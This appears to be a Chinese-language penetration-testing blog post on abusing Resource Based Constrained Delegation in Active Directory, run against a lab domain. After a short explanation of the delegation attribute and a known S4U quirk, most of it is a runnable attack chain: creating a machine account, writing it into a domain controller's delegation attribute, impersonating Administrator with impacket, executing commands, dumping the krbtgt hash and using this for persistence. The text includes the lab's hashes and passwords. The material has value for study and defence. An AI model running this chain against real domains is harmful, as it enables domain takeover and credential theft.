返回
顶部

references:

约定:

  • RBCD:Resource Based Constrained Delegation——基于资源的约束委派
  • ataob2oi:msDS-AllowedToActOnBehalfOfOtherIdentity
  • S4U请求:如果没有特殊说明,那么指的就是S4U2self和S4U2proxy这两个请求

0x1 简介

RBCD在Windows 2012才引入,08是没有这个概念的

RBCD和之前介绍的约束委派的区别就是,约束是在资源服务器上进行配置的,传统的约束委派中,资源服务器只能被动的接受委派,是否能够委派到资源服务器由委派服务器进行控制

RBCD可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性来控制委派服务器是否能够委派任意用户来访问自己

image-20220306150106223

这个属性的值是一个DACL,里面可以包含多个ACE,关于ACL相关知识,请移步这里

如下所示,S-1-5-21-3462766619-4007284874-984777186-1106是我们控制的账户的objectSid

image-20220306155932791

RBCD是可玩性最高的一种委派,你可以利用它来做很多事情,我们会在下面慢慢介绍

0x2 RBCD的缺陷

在测试过程中,我发现即使是一个不具有任何委派权限的机器账户,只要在ataob2oi属性的ACL中,就可以正常进行S4U

当前的计算机账户new_cp_user_1的委派配置如下

image-20220306161447796

正常来讲,使用该账户进行S4U请求,在S4Uself阶段返回的TGS票据是没有forwardable标志位的,因此会导致无法成功发起S4U2proxy请求,但是事实情况是下面这样的:

使用修改过的getST.py执行S4U2self请求,获取到第一阶段的TGS票据

python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -dc-ip 192.168.25.133 -self

使用describeTicket.py查看票据信息,可以看到,返回的票据中并没有forwardable标志位

image-20220306162437172

我们使用该TGS票据执行S4U2proxy请求

python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -spn cifs/WIN-BTAP0QG1S13.mother.fucker -dc-ip 192.168.25.133 -additional-ticket Administrator@new_cp_user_1$@MOTHER.FUCKER.ccache

成功获取到TGS票据

image-20220306162747245

使用该票据访问目标服务器文件系统:

image-20220306162921461

当然,我并不是第一个发现这个问题的人,在Elad Shamir的文章Wagging the Dog中,他提到了这个问题,并且汇报给了微软,不过官方并不会修复这个问题,而是被认为是一种特性,就和之前提到的SPN任意更改问题一样

image-20220306163250735

0x3 使用RBCD获取机器权限

只要我们对目标机器的ataob2oi属性有写入权限,那么我们就可以直接获取该机器的权限

首先我们需要创建一个机器账户或者给自己控制的普通用户注册一个SPN,这里我们选择创建机器账户

create_machine_account.ps1

powershell -executionpolicy bypass -command "& { import-module C:\Users\x\create_machine_account.ps1; New-machineaccount -domain mother.fucker -domaincontroller 192.168.64.139 -ldapuser Administrator -ldappass qwe123... -machineaccount user2 }"

将我们控制的用户写入域控制器机器账户的ataob2oi属性中

写入前:

image-20220416145301420

rbcd_attack.py

C:\Users\x>py3 rbcd_attack.py -base dc=mother,dc=fucker -add -ip 192.168.64.139 -user Administrator@mother.fucker -passwd qwe123... -samdest dc$ -samsrc user2$
[*] object sid: S-1-5-21-1703014284-2335082847-473038621-1107
[*] target dn: CN=DC,OU=Domain Controllers,DC=mother,DC=fucker
[+] attribute modify success, long live the king!!!

写入后:

image-20220416150734514

使用getST.py冒充任意可委派的用户申请针对DC的票据

C:\Users\x>py3 getST.py -spn cifs/dc.mother.fucker -dc-ip 192.168.64.139 -impersonate Administrator mother.fucker/user2$:q3etsSEDF.
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache

执行命令:

set KRB5CCNAME=C:\Users\x\Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3 atexec.py -k -no-pass -dc-ip 192.168.64.139 mother.fucker/Administrator@dc.mother.fucker whoami

image-20220416152524486

如果是域控制器,那么可以使用该票据获取域内任意用户hash

set KRB5CCNAME=C:\Users\x\Administrator@cifs_dc.mother.fucker@MOTHER.FUCKER.ccache
py3 secretsdump.py -k -no-pass -target-ip 192.168.64.139 -dc-ip 192.168.64.139 mother.fucker/Administrator@dc.mother.fucker -just-dc -just-dc-user krbtgt

image-20220416151439411

这种方式可用于持久化